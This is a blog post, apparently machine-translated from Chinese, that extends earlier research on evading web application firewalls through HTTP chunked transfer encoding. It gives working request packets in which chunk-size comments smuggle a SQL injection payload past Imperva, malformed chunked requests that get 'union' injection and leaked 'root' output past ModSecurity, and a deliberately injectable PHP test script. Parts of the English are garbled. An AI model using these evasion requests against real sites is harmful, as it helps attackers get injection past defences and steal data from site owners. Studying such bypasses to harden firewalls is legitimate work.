A collection of articles about the WAF

After watching bypassword of "bypassing the HTTP protocol level WAF", I think of some research done before, so write a simple essay to add article "chunked transfer" part two techniques not mentioned.

 

Note scrambling technique using a data packet block

Some, such as Imperva, 360 and so on have good WAF block transmission is done Transfer-Encoding process can be divided into a complete block HTTP packets, then attempt to bypass directly using conventional block transmission methods, then, It is directly identified and blocked WAF.

We can [RFC7230] View specification relating to the definition of block transmission.

4.1.  Chunked Transfer Coding

   The chunked transfer coding wraps the payload body in order to
   transfer it as a series of chunks, each with its own size indicator,
   followed by an OPTIONAL trailer containing header fields. Chunked enables content streams of unknown size to be transferred as a sequence of length-delimited buffers, which enables the sender to retain connection persistence and the recipient to know when it has received the entire message. chunked-body = *chunk last-chunk trailer-part CRLF chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF chunk-size = 1*HEXDIG last-chunk = 1*("0") [ chunk-ext ] CRLF chunk-data = 1*OCTET ; a sequence of chunk-size octets The chunk-size field is a string of hex digits indicating the size of the chunk-data in octets. The chunked transfer coding is complete when a chunk with a chunk-size of zero is received, possibly followed by a trailer, and finally terminated by an empty line. A recipient MUST be able to parse and decode the chunked transfer coding. 4.1.1. Chunk Extensions The chunked encoding allows each chunk to include zero or more chunk extensions, immediately following the chunk-size, for the sake of supplying per-chunk metadata (such as a signature or hash), mid-message control information, or randomization of message body size. chunk-ext = *( ";" chunk-ext-name [ "=" chunk-ext-val ] ) chunk-ext-name = token chunk-ext-val = token / quoted-string The chunked encoding is specific to each connection and is likely to be removed or recoded by each recipient (including intermediaries) before any higher-level application would have a chance to inspect the extensions. Hence, use of chunk extensions is generally limited

By reading the specification may be found with a semicolon transport block length of the identification ";" as a comment, such as:

9;kkkkk
1234567=1
4;ooo=222
2345
0
(两个换行)

Almost all Transfer-Encoding may identify the WAF packet, length of comments are not identified at processing block packet, leading to comments in the block, then the data packet, the WAF will not recognize the packet up.

Now we are using the site Imperva application firewall test the conventional block transmission of data packets:

POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked

9
xxxxxxxxx
9
xx=xxxxxx
9
xxxxxxxxx
1
d
9
&a=1	and	
3
2=2
0
(两个换行)

Returned results shown below.

We can see the attack payload "and 2 = 2" is the Imperva WAF blocked.

Then we will block comment character added to the transport packet.

POST /xxxxxx.jsp HTTP/1.1
......
Transfer-Encoding: Chunked

9
xxxxxxxxx
9 xx=xxxxxx 9 xxxxxxxxx 1;testsdasdsad d 9;test &a=1 and 3;test44444 2=2 0 (两个换行)

Returned results shown below.

Imperva can see this is no longer intercept the payload.

 

Tips 2 Bypass ModSecurity

As we all know ModSecurity is loaded on middleware plug-in, so do not bother to resolve the problem http packets, because the middleware has been done to help it deal with, regardless of the use of the conventional block or add a comment block packets, are ModSecurity You can get directly to the full http packets and then match keywords dangerous, so some of WAF products based ModSecurity do it really affected you?

Next we do the test in Apache + ModSecurity environment.

sql.php code is as follows:

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL);
$con = mysql_connect("localhost","root",""); if (!$con) { die('Could not connect: ' . mysql_error()); } mysql_select_db("test", $con); $id = $_REQUEST["id"]; $sql = "select * from user where id=$id"; $result = mysql_query($sql,$con); while($row = mysql_fetch_array($result)) { echo $row['name'] . " " . $row['password']."n"; } mysql_close($con); print "========GET==========n"; print_r($_GET); print "========POST==========n"; print_r($_POST); ?> <a href="sqli.php?id=1"> sdfsdf </a>

ModSecurity rules loaded intercepted request packet keyword "union".

Here we request and returned the following results:

请求:
http://10.10.10.10/sql.php?id=2%20union

返回:
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /sql.php was not found on this server.</p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html>

We can see that the "union" keyword is blocked.

Next we transfer a malformed packet block look.

请求:
POST /sql.php?id=2%20union HTTP/1.1
......
Transfer-Encoding: chunked

1
aa
0
(两个换行)


返回:
<title>400 Bad Request</title>
</head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html> ========GET========== Array ( [id] => 2 union ) ========POST========== Array ( )

可以看到虽然apache报错了,但是因为apache容错很强,所以我们提交的参数依然传到了php,而我们的ModSecurity并没有处理400错误的数据包,最终绕过了ModSecurity。

接下来我们把ModSecurity的规则改为过滤返回数据中包含“root”的字符串,然后在sql.php脚本中加入打印“root”关键字的代码。

接着我们做如下测试:

请求:
http://10.10.10.10/sql.php?id=1

返回:
<html><head> <title>403 Forbidden</title> </head><body> <h1>Forbidden</h1> <p>You don't have permission to access /sql.php on this server.</p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html>

因为sql.php脚本中返回了带有“root”的关键字,所以直接就被ModSecurity拦截了。这时我们改为发送畸形的分块数据包。

请求:
POST /sql.php?id=1 HTTP/1.1
Host: 10.10.10.10 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked Content-Length: 16 3 123 1 0 (两个换行) 返回: <html><head> <title>400 Bad Request</title> </head><body> <h1>Bad Request</h1> <p>Your browser sent a request that this server could not understand.<br /> </p> <hr> <address>Apache/2.2.15 (CentOS) Server at 10.10.10.10 Port 80</address> </body></html> root 123456 ========GET========== Array ( [id] => 1 ) ========POST========== Array ( )

通过两个测试可以发现使用畸形的分块数据包可以直接绕过ModSecurity的检测。这个问题我们在2017年4月已提交给ModSecurity官方,但是因为种种问题目前依然未修复。

 

最后

本文是在《在HTTP协议层面绕过WAF》基础上作了一些简单的补充,文中介绍的方法对于常规的WAF基本上能直接Bypass,并不能绕过Filter、代码层通用防注之流。分块传输还有很多有趣的玩法,欢迎各位朋友一些交流学习。

Guess you like

Origin www.cnblogs.com/0xdd/p/10953641.html